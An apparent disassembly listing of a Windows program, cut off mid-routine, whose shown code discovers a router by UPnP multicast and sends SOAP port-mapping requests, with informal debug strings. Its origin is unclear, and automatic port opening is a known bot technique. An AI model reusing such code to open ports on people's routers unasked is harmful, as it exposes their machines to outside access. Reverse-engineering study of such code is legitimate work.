sub_402449 proc near ; CODE XREF: sub_403C3F+9Bp
arg_0 = word ptr 4
arg_4 = word ptr 8
push ebx
push esi
push edi
xor edi, edi
push offset a6ea9b038C8014f ; "{6EA9B038-C801-4F76-805F-E41ACF9ED165}"
push 0
push 0F001Fh
call dword_411CF4 ; OpenFileMappingA
mov ebx, eax
test eax, eax
jz short loc_4024A2
push 20h
push 0
push 0
push 0F001Fh
push ebx
call dword_411CEC ; MapViewOfFile
mov esi, eax
test esi, esi
jz short loc_402499
mov ax, [esp+0Ch+arg_0]
mov [esi], ax
mov ax, [esp+0Ch+arg_4]
mov [esi+2], ax
push esi
call dword_411CF0 ; UnmapViewOfFile
xor edi, edi
inc edi
loc_402499: ; CODE XREF: sub_402449+33j
push ebx
call dword_411CF8 ; CloseHandle
mov eax, edi
loc_4024A2: ; CODE XREF: sub_402449+1Bj
pop edi
pop esi
pop ebx
retn
sub_402449 endp
; =============== S U B R O U T I N E =======================================
sub_4024A6 proc near ; CODE XREF: sub_404967+23p
arg_0 = dword ptr 4
push ebx
push esi
push edi
xor si, si
push offset a6ea9b038C8014f ; "{6EA9B038-C801-4F76-805F-E41ACF9ED165}"
push 0
push 0F001Fh
call dword_411CF4 ; OpenFileMappingA
mov ebx, eax
test ebx, ebx
jnz short loc_4024CB
mov eax, 0FFFFh
jmp short loc_40250D
; ---------------------------------------------------------------------------
loc_4024CB: ; CODE XREF: sub_4024A6+1Cj
push 20h
push 0
push 0
push 0F001Fh
push ebx
call dword_411CEC ; MapViewOfFile
mov edi, eax
test edi, edi
jz short loc_402503
mov si, [edi]
test si, si
jz short loc_4024F8
mov edx, [esp+0Ch+arg_0]
mov ax, [edi+2]
mov [edx], ax
jmp short loc_4024FC
; ---------------------------------------------------------------------------
loc_4024F8: ; CODE XREF: sub_4024A6+43j
mov si, 0FFFFh
loc_4024FC: ; CODE XREF: sub_4024A6+50j
push edi
call dword_411CF0 ; UnmapViewOfFile
loc_402503: ; CODE XREF: sub_4024A6+3Bj
push ebx
call dword_411CF8 ; CloseHandle
movzx eax, si
loc_40250D: ; CODE XREF: sub_4024A6+23j
pop edi
pop esi
pop ebx
retn
sub_4024A6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402511 proc near ; CODE XREF: sub_4025A9+2Dp
; sub_402B02+23Cp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push eax
push ebx
push esi
push edi
mov eax, [ebp+arg_4]
mov [ebp+var_4], eax
mov esi, [ebp+arg_0]
push esi
call sub_407650
pop ecx
mov edi, eax
push [ebp+var_4]
call sub_407650
pop ecx
mov ebx, eax
jmp short loc_402555
; ---------------------------------------------------------------------------
loc_402537: ; CODE XREF: sub_402511+46j
push ebx
push [ebp+var_4]
push ebx
push esi
push 1
push 400h
call dword_411CFC ; CompareStringA
cmp eax, 2
jnz short loc_402553
mov eax, esi
jmp short loc_40255B
; ---------------------------------------------------------------------------
loc_402553: ; CODE XREF: sub_402511+3Cj
inc esi
dec edi
loc_402555: ; CODE XREF: sub_402511+24j
cmp edi, ebx
jge short loc_402537
xor eax, eax
loc_40255B: ; CODE XREF: sub_402511+40j
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_402511 endp
; =============== S U B R O U T I N E =======================================
sub_402562 proc near ; CODE XREF: sub_4025A9+1C4p
; sub_402896+12Cp
arg_0 = dword ptr 4
push ebx
push esi
mov ebx, [esp+8+arg_0]
call dword_411CC4 ; GetTickCount
lea esi, [eax+7D0h]
loc_402574: ; CODE XREF: sub_402562+40j
push ebx
call sub_401542
pop ecx
test eax, eax
jle short loc_402584
xor eax, eax
inc eax
jmp short loc_4025A6
; ---------------------------------------------------------------------------
loc_402584: ; CODE XREF: sub_402562+1Bj
push offset a_ ; "."
call sub_407260
pop ecx
push 12Ch
call dword_411D00 ; Sleep
call dword_411CC4 ; GetTickCount
cmp eax, esi
jb short loc_402574
xor eax, eax
loc_4025A6: ; CODE XREF: sub_402562+20j
pop esi
pop ebx
retn
sub_402562 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4025A9 proc near ; CODE XREF: sub_402B02+337p
var_468 = dword ptr -468h
var_464 = dword ptr -464h
var_460 = dword ptr -460h
var_45C = byte ptr -45Ch
var_5C = word ptr -5Ch
var_5A = word ptr -5Ah
var_58 = dword ptr -58h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = byte ptr -40h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 468h
push ebx
push esi
push edi
push 10h
push 0
lea eax, [ebp+var_5C]
push eax
call sub_4075D0
add esp, 0Ch
mov [ebp+var_5C], 2
xor di, di
push offset aHttp ; "http://"
push [ebp+arg_0]
call sub_402511
pop ecx
pop ecx
mov ebx, eax
test ebx, ebx
jnz short loc_4025EB
xor eax, eax
jmp loc_40288F
; ---------------------------------------------------------------------------
loc_4025EA: ; CODE XREF: sub_4025A9+4Aj
inc ebx
loc_4025EB: ; CODE XREF: sub_4025A9+38j
mov al, [ebx]
test al, al
jz short loc_4025F5
cmp al, 2Fh
jnz short loc_4025EA
loc_4025F5: ; CODE XREF: sub_4025A9+46j
jmp short loc_4025F8
; ---------------------------------------------------------------------------
loc_4025F7: ; CODE XREF: sub_4025A9+57j
inc ebx
loc_4025F8: ; CODE XREF: sub_4025A9:loc_4025F5j
mov al, [ebx]
test al, al
jz short loc_402602
cmp al, 2Fh
jz short loc_4025F7
loc_402602: ; CODE XREF: sub_4025A9+53j
xor esi, esi
jmp short loc_40261A
; ---------------------------------------------------------------------------
loc_402606: ; CODE XREF: sub_4025A9+7Dj
cmp esi, 3Fh
jb short loc_402612
xor eax, eax
jmp loc_40288F
; ---------------------------------------------------------------------------
loc_402612: ; CODE XREF: sub_4025A9+60j
mov al, [ebx]
mov [ebp+esi+var_40], al
inc esi
inc ebx
loc_40261A: ; CODE XREF: sub_4025A9+5Bj
mov al, [ebx]
test al, al
jz short loc_402628
cmp al, 3Ah
jz short loc_402628
cmp al, 2Fh
jnz short loc_402606
loc_402628: ; CODE XREF: sub_4025A9+75j
; sub_4025A9+79j
mov [ebp+esi+var_40], 0
cmp byte ptr [ebx], 3Ah
jz short loc_402639
xor eax, eax
jmp loc_40288F
; ---------------------------------------------------------------------------
loc_402639: ; CODE XREF: sub_4025A9+87j
inc ebx
cmp byte ptr [ebx], 0
jnz short loc_402660
xor eax, eax
jmp loc_40288F
; ---------------------------------------------------------------------------
loc_402646: ; CODE XREF: sub_4025A9+C3j
movzx eax, di
lea eax, [eax+eax*4]
add eax, eax
mov di, ax
movzx eax, di
movsx edx, byte ptr [ebx]
sub edx, 30h
add eax, edx
mov di, ax
inc ebx
loc_402660: ; CODE XREF: sub_4025A9+94j
mov al, [ebx]
test al, al
jz short loc_40266E
cmp al, 30h
jl short loc_40266E
cmp al, 39h
jle short loc_402646
loc_40266E: ; CODE XREF: sub_4025A9+BBj
; sub_4025A9+BFj
cmp di, 1
jnb short loc_40267C
xor eax, eax
jmp loc_40288F
; ---------------------------------------------------------------------------
loc_40267B: ; CODE XREF: sub_4025A9+DBj
inc ebx
loc_40267C: ; CODE XREF: sub_4025A9+C9j
mov al, [ebx]
test al, al
jz short loc_402686
cmp al, 2Fh
jnz short loc_40267B
loc_402686: ; CODE XREF: sub_4025A9+D7j
cmp byte ptr [ebx], 0
jnz short loc_402692
xor eax, eax
jmp loc_40288F
; ---------------------------------------------------------------------------
loc_402692: ; CODE XREF: sub_4025A9+E0j
lea eax, [ebp+var_40]
push eax
call sub_406D08 ; inet_addr
mov [ebp+var_58], eax
movzx eax, di
push eax
call sub_406CD8 ; htons
mov [ebp+var_5A], ax
movzx eax, di
push eax
lea eax, [ebp+var_40]
push eax
push offset aHttpDiscoveryR ; "HTTP discovery request: [%s:%i]...\n"
call sub_407260
add esp, 0Ch
push 6
push 1
push 2
call sub_406CBA ; socket
mov [ebp+var_44], eax
cmp eax, 0FFFFFFFFh
jnz short loc_4026D9
and [ebp+var_44], 0
loc_4026D9: ; CODE XREF: sub_4025A9+12Aj
cmp [ebp+var_44], 0
jnz short loc_4026E6
xor eax, eax
jmp loc_40288F
; ---------------------------------------------------------------------------
loc_4026E6: ; CODE XREF: sub_4025A9+134j
lea eax, [ebp+var_40]
push eax
call sub_406D08 ; inet_addr
movzx edx, di
push edx
push eax
push [ebp+var_44]
call sub_401567
add esp, 0Ch
test eax, eax
jnz short loc_402713
push [ebp+var_44]
call sub_4014C2
pop ecx
xor eax, eax
jmp loc_40288F
; ---------------------------------------------------------------------------
loc_402713: ; CODE XREF: sub_4025A9+158j
movzx eax, di
push eax
lea eax, [ebp+var_40]
push eax
push ebx
push offset aGetSHttp1_1Hos ; "GET %s HTTP/1.1\r\nHOST: %s:%i\r\nACCEPT-LA"...
lea eax, [ebp+var_45C]
push eax
call sub_4072C0
add esp, 14h
lea eax, [ebp+var_45C]
push eax
call sub_407650
pop ecx
mov [ebp+var_48], eax
push [ebp+var_48]
lea eax, [ebp+var_45C]
push eax
push [ebp+var_44]
call sub_401787
add esp, 0Ch
cmp eax, [ebp+var_48]
jz short loc_40276A
push [ebp+var_44]
call sub_4014C2
pop ecx
xor eax, eax
jmp loc_40288F
; ---------------------------------------------------------------------------
loc_40276A: ; CODE XREF: sub_4025A9+1AFj
push [ebp+var_44]
call sub_402562
pop ecx
push 10000h
call sub_401048
pop ecx
mov [ebp+var_4C], eax
push 0FFFFh
push [ebp+var_4C]
push [ebp+var_44]
call sub_401713
add esp, 0Ch
mov [ebp+var_48], eax
test eax, eax
jnz short loc_4027D2
push [ebp+var_44]
call sub_401542
pop ecx
mov [ebp+var_468], eax
cmp eax, 0FFFFh
jle short loc_4027BB
mov [ebp+var_468], 0FFFFh
loc_4027BB: ; CODE XREF: sub_4025A9+206j
push [ebp+var_468]
push [ebp+var_4C]
push [ebp+var_44]
call sub_4016DC
add esp, 0Ch
mov [ebp+var_48], eax
loc_4027D2: ; CODE XREF: sub_4025A9+1F0j
push [ebp+var_48]
movzx eax, di
push eax
lea eax, [ebp+var_40]
push eax
push offset aHttpDiscover_0 ; "HTTP discovery request [%s:%i]: receive"...
call sub_407260
add esp, 10h
cmp [ebp+var_48], 1
jge short loc_402809
push [ebp+var_4C]
call sub_401076
pop ecx
push [ebp+var_44]
call sub_4014C2
pop ecx
xor eax, eax
jmp loc_40288F
; ---------------------------------------------------------------------------
loc_402809: ; CODE XREF: sub_4025A9+245j
push offset asc_40F5F0 ; "\n"
push [ebp+var_4C]
call sub_4076C0
pop ecx
pop ecx
mov [ebp+var_460], eax
test eax, eax
jnz short loc_402838
push [ebp+var_4C]
call sub_401076
pop ecx
push [ebp+var_44]
call sub_4014C2
pop ecx
xor eax, eax
jmp short loc_40288F
; ---------------------------------------------------------------------------
loc_402838: ; CODE XREF: sub_4025A9+277j
push offset a200 ; "200"
push [ebp+var_4C]
call sub_4076C0
pop ecx
pop ecx
mov [ebp+var_464], eax
test eax, eax
jz short loc_402859
cmp eax, [ebp+var_460]
jbe short loc_40286F
loc_402859: ; CODE XREF: sub_4025A9+2A6j
push [ebp+var_4C]
call sub_401076
pop ecx
push [ebp+var_44]
call sub_4014C2
pop ecx
xor eax, eax
jmp short loc_40288F
; ---------------------------------------------------------------------------
loc_40286F: ; CODE XREF: sub_4025A9+2AEj
push [ebp+var_44]
call sub_4014C2
pop ecx
lea eax, [ebp+var_40]
push eax
push [ebp+arg_4]
call sub_407670
pop ecx
pop ecx
mov edx, [ebp+arg_8]
mov [edx], di
mov eax, [ebp+var_4C]
loc_40288F: ; CODE XREF: sub_4025A9+3Cj
; sub_4025A9+64j ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4025A9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402896 proc near ; CODE XREF: sub_402B02+50Fp
; sub_402B02+53Dp
var_2014 = dword ptr -2014h
var_2010 = dword ptr -2010h
var_200C = dword ptr -200Ch
var_2008 = byte ptr -2008h
var_1008 = byte ptr -1008h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = word ptr 10h
arg_C = dword ptr 14h
arg_10 = word ptr 18h
arg_14 = word ptr 1Ch
push ebp
mov ebp, esp
mov eax, 2014h
call sub_407730
push ebx
push esi
push edi
movzx eax, [ebp+arg_10]
push eax
movzx eax, [ebp+arg_14]
push eax
push offset aSEnvelopeXmlns ; "<s:Envelope\r\nxmlns:s=\"http://schemas.xm"...
lea eax, [ebp+var_2008]
push eax
call sub_4072C0
add esp, 10h
lea eax, [ebp+var_2008]
push eax
call sub_407650
pop ecx
mov [ebp+var_200C], eax
cmp [ebp+arg_0], 0
jz short loc_402904
push [ebp+var_200C]
movzx eax, [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_C]
push offset aMPostSHttp1_1H ; "M-POST %s HTTP/1.1\r\nHOST: %s:%i\r\nCONTEN"...
lea eax, [ebp+var_1008]
push eax
call sub_4072C0
add esp, 18h
jmp short loc_402929
; ---------------------------------------------------------------------------
loc_402904: ; CODE XREF: sub_402896+45j
push [ebp+var_200C]
movzx eax, [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_C]
push offset aPostSHttp1_1Ho ; "POST %s HTTP/1.1\r\nHOST: %s:%i\r\nCONTENT-"...
lea eax, [ebp+var_1008]
push eax
call sub_4072C0
add esp, 18h
loc_402929: ; CODE XREF: sub_402896+6Cj
lea eax, [ebp+var_2008]
push eax
lea eax, [ebp+var_1008]
push eax
call sub_407690
pop ecx
pop ecx
movzx eax, [ebp+arg_8]
push eax
push [ebp+arg_4]
push offset aHttpAddmapRequ ; "HTTP AddMap request: [%s:%i]...\n"
call sub_407260
add esp, 0Ch
call sub_401359
mov edi, eax
test eax, eax
jz loc_402AFB
push [ebp+arg_4]
call sub_406D08 ; inet_addr
movzx edx, [ebp+arg_8]
push edx
push eax
push edi
call sub_401567
add esp, 0Ch
test eax, eax
jnz short loc_40298B
push edi
call sub_4014C2
pop ecx
xor eax, eax
jmp loc_402AFB
; ---------------------------------------------------------------------------
loc_40298B: ; CODE XREF: sub_402896+E5j
lea eax, [ebp+var_1008]
push eax
call sub_407650
pop ecx
mov [ebp+var_4], eax
push [ebp+var_4]
lea eax, [ebp+var_1008]
push eax
push edi
call sub_401787
add esp, 0Ch
cmp eax, [ebp+var_4]
jz short loc_4029C1
push edi
call sub_4014C2
pop ecx
xor eax, eax
jmp loc_402AFB
; ---------------------------------------------------------------------------
loc_4029C1: ; CODE XREF: sub_402896+11Bj
push edi
call sub_402562
pop ecx
push 10000h
call sub_401048
pop ecx
mov [ebp+var_8], eax
push 0FFFFh
push [ebp+var_8]
push edi
call sub_401713
add esp, 0Ch
mov [ebp+var_4], eax
test eax, eax
jnz short loc_402A21
push edi
call sub_401542
pop ecx
mov [ebp+var_2014], eax
cmp eax, 0FFFFh
jle short loc_402A0C
mov [ebp+var_2014], 0FFFFh
loc_402A0C: ; CODE XREF: sub_402896+16Aj
push [ebp+var_2014]
push [ebp+var_8]
push edi
call sub_4016DC
add esp, 0Ch
mov [ebp+var_4], eax
loc_402A21: ; CODE XREF: sub_402896+156j
push [ebp+var_4]
movzx eax, [ebp+arg_8]
push eax
push [ebp+arg_4]
push offset aHttpAddmapRe_0 ; "HTTP AddMap request [%s:%i]: received: "...
call sub_407260
add esp, 10h
cmp [ebp+var_4], 1
jge short loc_402A56
push [ebp+var_8]
call sub_401076
pop ecx
push edi
call sub_4014C2
pop ecx
xor eax, eax
jmp loc_402AFB
; ---------------------------------------------------------------------------
loc_402A56: ; CODE XREF: sub_402896+1A7j
push offset asc_40F5F0 ; "\n"
push [ebp+var_8]
call sub_4076C0
pop ecx
pop ecx
mov [ebp+var_2010], eax
test eax, eax
jnz short loc_402A83
push [ebp+var_8]
call sub_401076
pop ecx
push edi
call sub_4014C2
pop ecx
xor eax, eax
jmp short loc_402AFB
; ---------------------------------------------------------------------------
loc_402A83: ; CODE XREF: sub_402896+1D7j
mov ebx, [ebp+var_8]
jmp short loc_402A89
; ---------------------------------------------------------------------------
loc_402A88: ; CODE XREF: sub_402896+1FBj
inc ebx
loc_402A89: ; CODE XREF: sub_402896+1F0j
mov al, [ebx]
test al, al
jz short loc_402A93
cmp al, 20h
jnz short loc_402A88
loc_402A93: ; CODE XREF: sub_402896+1F7j
jmp short loc_402A96
; ---------------------------------------------------------------------------
loc_402A95: ; CODE XREF: sub_402896+208j
inc ebx
loc_402A96: ; CODE XREF: sub_402896:loc_402A93j
mov al, [ebx]
test al, al
jz short loc_402AA0
cmp al, 20h
jz short loc_402A95
loc_402AA0: ; CODE XREF: sub_402896+204j
xor esi, esi
jmp short loc_402AB4
; ---------------------------------------------------------------------------
loc_402AA4: ; CODE XREF: sub_402896+22Aj
lea esi, [esi+esi*4]
add esi, esi
movsx eax, byte ptr [ebx]
sub eax, 30h
add esi, eax
inc ebx
jmp short loc_402AC2
; ---------------------------------------------------------------------------
loc_402AB4: ; CODE XREF: sub_402896+20Cj
mov al, [ebx]
test al, al
jz short loc_402AC2
cmp al, 30h
jl short loc_402AC2
cmp al, 39h
jle short loc_402AA4
loc_402AC2: ; CODE XREF: sub_402896+21Cj
; sub_402896+222j ...
push esi
movzx eax, [ebp+arg_8]
push eax
push [ebp+arg_4]
push offset aHttpAddmapRe_1 ; "HTTP AddMap request [%s:%i]: code: %i.."...
call sub_407260
add esp, 10h
cmp esi, 2
jz short loc_402AF1
push [ebp+var_8]
call sub_401076
pop ecx
push edi
call sub_4014C2
pop ecx
xor eax, eax
jmp short loc_402AFB
; ---------------------------------------------------------------------------
loc_402AF1: ; CODE XREF: sub_402896+245j
push edi
call sub_4014C2
pop ecx
xor eax, eax
inc eax
loc_402AFB: ; CODE XREF: sub_402896+C6j
; sub_402896+F0j ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_402896 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402B02 proc near ; CODE XREF: sub_40356A+6Cp
; sub_404967+150p
var_18A0 = dword ptr -18A0h
var_189C = byte ptr -189Ch
var_188C = dword ptr -188Ch
var_1888 = dword ptr -1888h
var_1884 = dword ptr -1884h
var_187E = byte ptr -187Eh
var_183E = word ptr -183Eh
var_183C = dword ptr -183Ch
var_1838 = dword ptr -1838h
var_1834 = dword ptr -1834h
var_1830 = dword ptr -1830h
var_182C = dword ptr -182Ch
var_1828 = dword ptr -1828h
var_1824 = dword ptr -1824h
var_1820 = dword ptr -1820h
var_181C = word ptr -181Ch
var_181A = word ptr -181Ah
var_1818 = dword ptr -1818h
var_1809 = byte ptr -1809h
var_1409 = byte ptr -1409h
var_408 = dword ptr -408h
var_404 = dword ptr -404h
var_400 = byte ptr -400h
arg_0 = word ptr 8
arg_4 = word ptr 0Ch
push ebp
mov ebp, esp
mov eax, 18A0h
call sub_407730
push ebx
push esi
push edi
mov [ebp+var_1820], 3E8h
cmp [ebp+arg_0], 0
jnz short loc_402B2B
mov ax, [ebp+arg_4]
mov [ebp+arg_0], ax
loc_402B2B: ; CODE XREF: sub_402B02+1Fj
push 10h
push 0
lea eax, [ebp+var_181C]
push eax
call sub_4075D0
add esp, 0Ch
mov [ebp+var_181C], 2
push offset a239_255_255_25 ; "239.255.255.250"
call sub_406D08 ; inet_addr
mov [ebp+var_1818], eax
push 76Ch
call sub_406CD8 ; htons
mov [ebp+var_181A], ax
mov [ebp+var_404], 1
push 11h
push 2
push 2
call sub_406CBA ; socket
mov [ebp+var_408], eax
and [ebp+var_1828], 0
mov [ebp+var_1824], 1
push offset a239_255_255_25 ; "239.255.255.250"
call sub_406D08 ; inet_addr
mov [ebp+var_1828], eax
push 8
lea eax, [ebp+var_1828]
push eax
push 5
push 0
mov eax, [ebp+var_408]
push eax
call sub_406CC0 ; setsockopt
test eax, eax
jge short loc_402BCC
push offset aShit ; "shit!\n"
call sub_407260
pop ecx
loc_402BCC: ; CODE XREF: sub_402B02+BDj
lea eax, [ebp+var_181C]
mov [ebp+var_182C], eax
push 10h
push [ebp+var_182C]
mov eax, [ebp+var_408]
push eax
call sub_406CE4 ; bind
cmp eax, 0FFFFFFFFh
jnz loc_403082
push offset aXbind___ ; "xbind...\n"
call sub_407260
pop ecx
jmp loc_403082
; ---------------------------------------------------------------------------
loc_402C05: ; CODE XREF: sub_402B02+587j
mov [ebp+var_1884], 10h
push [ebp+var_404]
push offset aSendingIupnpDi ; "sending IUPnP discovery request #%i...\n"...
call sub_407260
pop ecx
pop ecx
push offset aMSearchHttp1_1 ; "M-SEARCH * HTTP/1.1\r\nHost: 239.255.255."...
call sub_407650
pop ecx
push 10h
lea edx, [ebp+var_181C]
push edx
push 0
push eax
push offset aMSearchHttp1_1 ; "M-SEARCH * HTTP/1.1\r\nHost: 239.255.255."...
mov eax, [ebp+var_408]
push eax
call sub_406D26 ; sendto
test eax, eax
jge short loc_402C60
mov eax, [ebp+var_408]
push eax
call sub_406CC6 ; closesocket
xor eax, eax
jmp loc_40309D
; ---------------------------------------------------------------------------
loc_402C60: ; CODE XREF: sub_402B02+149j
push [ebp+var_404]
push offset aSetsockoptIupn ; "setsockopt IUPnP discovery request #%i."...
call sub_407260
pop ecx
pop ecx
push 4
lea eax, [ebp+var_1820]
push eax
push 1006h
push 0FFFFh
mov eax, [ebp+var_408]
push eax
call sub_406CC0 ; setsockopt
test eax, eax
jge short loc_402CA8
mov eax, [ebp+var_408]
push eax
call sub_406CC6 ; closesocket
xor eax, eax
jmp loc_40309D
; ---------------------------------------------------------------------------
loc_402CA8: ; CODE XREF: sub_402B02+191j
push [ebp+var_404]
push offset aReceivingIupnp ; "receiving IUPnP discovery request #%i.."...
call sub_407260
pop ecx
pop ecx
lea eax, [ebp+var_1884]
push eax
lea eax, [ebp+var_189C]
push eax
push 0
push 1000h
lea eax, [ebp+var_1409]
push eax
mov eax, [ebp+var_408]
push eax
call sub_406D2C ; recvfrom
test eax, eax
jge short loc_402D12
call sub_406D32 ; WSAGetLastError
cmp eax, 274Ch
jnz short loc_402CFF
cmp [ebp+var_404], 3
jnz loc_40307C
loc_402CFF: ; CODE XREF: sub_402B02+1EEj
mov eax, [ebp+var_408]
push eax
call sub_406CC6 ; closesocket
xor eax, eax
jmp loc_40309D
; ---------------------------------------------------------------------------
loc_402D12: ; CODE XREF: sub_402B02+1E2j
mov eax, [ebp+var_1884]
mov [ebp+eax+var_1409], 0
push [ebp+var_404]
push offset aIupnpDiscovery ; "IUPnP discovery request #%i -- checking"...
call sub_407260
pop ecx
pop ecx
push offset aSchemasUpnpOrg ; "schemas-upnp-org:service:WANIPConnectio"...
lea eax, [ebp+var_1409]
push eax
call sub_402511
pop ecx
pop ecx
test eax, eax
jnz short loc_402D60
push [ebp+var_404]
push offset aIupnpDiscove_0 ; "IUPnP discovery request #%i: bad (0)..."...
call sub_407260
pop ecx
pop ecx
jmp loc_40307C
; ---------------------------------------------------------------------------
loc_402D60: ; CODE XREF: sub_402B02+245j
push offset aLocation ; "location"
lea eax, [ebp+var_1409]
push eax
call sub_402511
pop ecx
pop ecx
mov ebx, eax
test ebx, ebx
jnz short loc_402D91
push [ebp+var_404]
push offset aIupnpDiscove_1 ; "IUPnP discovery request #%i: bad (1)..."...
call sub_407260
pop ecx
pop ecx
jmp loc_40307C
; ---------------------------------------------------------------------------
loc_402D90: ; CODE XREF: sub_402B02+297j
inc ebx
loc_402D91: ; CODE XREF: sub_402B02+275j
mov al, [ebx]
test al, al
jz short loc_402D9B
cmp al, 3Ah
jnz short loc_402D90
loc_402D9B: ; CODE XREF: sub_402B02+293j
cmp byte ptr [ebx], 0
jz short loc_402DA4
inc ebx
jmp short loc_402DA4
; ---------------------------------------------------------------------------
loc_402DA3: ; CODE XREF: sub_402B02+2AAj
inc ebx
loc_402DA4: ; CODE XREF: sub_402B02+29Cj
; sub_402B02+29Fj
mov al, [ebx]
test al, al
jz short loc_402DAE
cmp al, 20h
jz short loc_402DA3
loc_402DAE: ; CODE XREF: sub_402B02+2A6j
lea eax, [ebp+var_1809]
mov [ebp+var_1834], eax
jmp short loc_402DCD
; ---------------------------------------------------------------------------
loc_402DBC: ; CODE XREF: sub_402B02+2D3j
mov edx, [ebp+var_1834]
mov al, [ebx]
mov [edx], al
inc [ebp+var_1834]
inc ebx
loc_402DCD: ; CODE XREF: sub_402B02+2B8j
mov al, [ebx]
test al, al
jz short loc_402DD7
cmp al, 20h
jg short loc_402DBC
loc_402DD7: ; CODE XREF: sub_402B02+2CFj
mov edx, [ebp+var_1834]
mov byte ptr [edx], 0
lea eax, [ebp+var_1809]
push eax
call sub_407650
pop ecx
test eax, eax
jnz short loc_402E08
push [ebp+var_404]
push offset aIupnpDiscove_2 ; "IUPnP discovery request #%i: bad (2)..."...
call sub_407260
pop ecx
pop ecx
jmp loc_40307C
; ---------------------------------------------------------------------------
loc_402E08: ; CODE XREF: sub_402B02+2EDj
mov [ebp+var_183E], 0
lea eax, [ebp+var_1809]
push eax
push offset aLocationS ; "location: <%s>\n"
call sub_407260
pop ecx
pop ecx
lea eax, [ebp+var_183E]
push eax
lea eax, [ebp+var_187E]
push eax
lea eax, [ebp+var_1809]
push eax
call sub_4025A9
add esp, 0Ch
mov [ebp+var_183C], eax
test eax, eax
jnz short loc_402E62
push [ebp+var_404]
push offset aIupnpDiscove_3 ; "IUPnP discovery request #%i: bad (3)..."...
call sub_407260
pop ecx
pop ecx
jmp loc_40307C
; ---------------------------------------------------------------------------
loc_402E62: ; CODE XREF: sub_402B02+347j
push offset aUrnSchemasUpnp ; "urn:schemas-upnp-org:service:WANIPConne"...
push [ebp+var_183C]
call sub_402511
pop ecx
pop ecx
mov [ebp+var_188C], eax
test eax, eax
jnz short loc_402E8F
push [ebp+var_183C]
call sub_401076
pop ecx
jmp loc_40307C
; ---------------------------------------------------------------------------
loc_402E8F: ; CODE XREF: sub_402B02+37Aj
mov eax, [ebp+var_183C]
mov [ebp+var_1830], eax
loc_402E9B: ; CODE XREF: sub_402B02+3CBj
push offset aService_0 ; "<service>"
push [ebp+var_1830]
call sub_402511
pop ecx
pop ecx
mov [ebp+var_18A0], eax
test eax, eax
jz short loc_402EBF
cmp eax, [ebp+var_1830]
jbe short loc_402EC1
loc_402EBF: ; CODE XREF: sub_402B02+3B3j
jmp short loc_402ECF
; ---------------------------------------------------------------------------
loc_402EC1: ; CODE XREF: sub_402B02+3BBj
mov eax, [ebp+var_18A0]
mov [ebp+var_1830], eax
jmp short loc_402E9B
; ---------------------------------------------------------------------------
loc_402ECF: ; CODE XREF: sub_402B02:loc_402EBFj
push offset aService ; "</service>"
push [ebp+var_1830]
call sub_402511
pop ecx
pop ecx
mov [ebp+var_1888], eax
test eax, eax
jnz short loc_402EFC
push [ebp+var_183C]
call sub_401076
pop ecx
jmp loc_40307C
; ---------------------------------------------------------------------------
loc_402EFC: ; CODE XREF: sub_402B02+3E7j
push offset aControlurl ; "<controlURL>"
push [ebp+var_1830]
call sub_402511
pop ecx
pop ecx
mov esi, eax
test esi, esi
jz short loc_402F1C
cmp esi, [ebp+var_1888]
jb short loc_402F2D
loc_402F1C: ; CODE XREF: sub_402B02+410j
push [ebp+var_183C]
call sub_401076
pop ecx
jmp loc_40307C
; ---------------------------------------------------------------------------
loc_402F2D: ; CODE XREF: sub_402B02+418j
push 400h
push 0
lea eax, [ebp+var_400]
push eax
call sub_4075D0
add esp, 0Ch
jmp short loc_402F46
; ---------------------------------------------------------------------------
loc_402F45: ; CODE XREF: sub_402B02+44Cj
inc esi
loc_402F46: ; CODE XREF: sub_402B02+441j
mov al, [esi]
test al, al
jz short loc_402F50
cmp al, 3Eh
jnz short loc_402F45
loc_402F50: ; CODE XREF: sub_402B02+448j
cmp byte ptr [esi], 0
jz short loc_402F56
inc esi
loc_402F56: ; CODE XREF: sub_402B02+451j
cmp byte ptr [esi], 0
jnz short loc_402F6C
push [ebp+var_183C]
call sub_401076
pop ecx
jmp loc_40307C
; ---------------------------------------------------------------------------
loc_402F6C: ; CODE XREF: sub_402B02+457j
and [ebp+var_1838], 0
jmp short loc_402F8B
; ---------------------------------------------------------------------------
loc_402F75: ; CODE XREF: sub_402B02+491j
mov eax, [ebp+var_1838]
mov dl, [esi]
mov [ebp+eax+var_400], dl
inc [ebp+var_1838]
inc esi
loc_402F8B: ; CODE XREF: sub_402B02+471j
mov al, [esi]
test al, al
jz short loc_402F95
cmp al, 3Ch
jnz short loc_402F75
loc_402F95: ; CODE XREF: sub_402B02+48Dj
mov eax, [ebp+var_1838]
mov [ebp+eax+var_400], 0
push offset aHttp ; "http://"
lea eax, [ebp+var_400]
push eax
call sub_402511
pop ecx
pop ecx
mov edi, eax
test edi, edi
jnz short loc_402FC5
lea edi, [ebp+var_400]
jmp short loc_402FF5
; ---------------------------------------------------------------------------
loc_402FC4: ; CODE XREF: sub_402B02+4CBj
inc edi
loc_402FC5: ; CODE XREF: sub_402B02+4B8j
mov al, [edi]
test al, al
jz short loc_402FCF
cmp al, 3Ah
jnz short loc_402FC4
loc_402FCF: ; CODE XREF: sub_402B02+4C7j
cmp byte ptr [edi], 0
jz short loc_402FD8
inc edi
jmp short loc_402FD8
; ---------------------------------------------------------------------------
loc_402FD7: ; CODE XREF: sub_402B02+4DEj
inc edi
loc_402FD8: ; CODE XREF: sub_402B02+4D0j
; sub_402B02+4D3j
mov al, [edi]
test al, al
jz short loc_402FE2
cmp al, 2Fh
jz short loc_402FD7
loc_402FE2: ; CODE XREF: sub_402B02+4DAj
